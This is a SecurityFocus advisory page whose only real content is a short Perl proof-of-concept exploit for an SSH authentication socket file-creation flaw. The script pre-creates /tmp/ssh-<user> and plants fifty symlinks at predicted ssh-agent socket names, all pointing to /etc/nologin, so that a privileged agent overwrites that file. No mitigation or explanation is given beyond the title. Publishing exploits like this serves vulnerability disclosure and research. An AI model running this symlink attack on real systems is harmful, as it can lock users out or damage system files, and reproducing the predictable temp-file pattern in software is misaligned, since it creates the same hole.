Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

SSH Authentication Socket File Creation Vulnerability

#!/usr/bin/perl

$pid = $$;

$whoami = `whoami`;
chop($whoami);
mkdir("/tmp/ssh-$whoami", 0700);

for ($i = $pid; $i < $pid+50; $i++)
{
symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");
}







 

Privacy Statement
Copyright 2009, SecurityFocus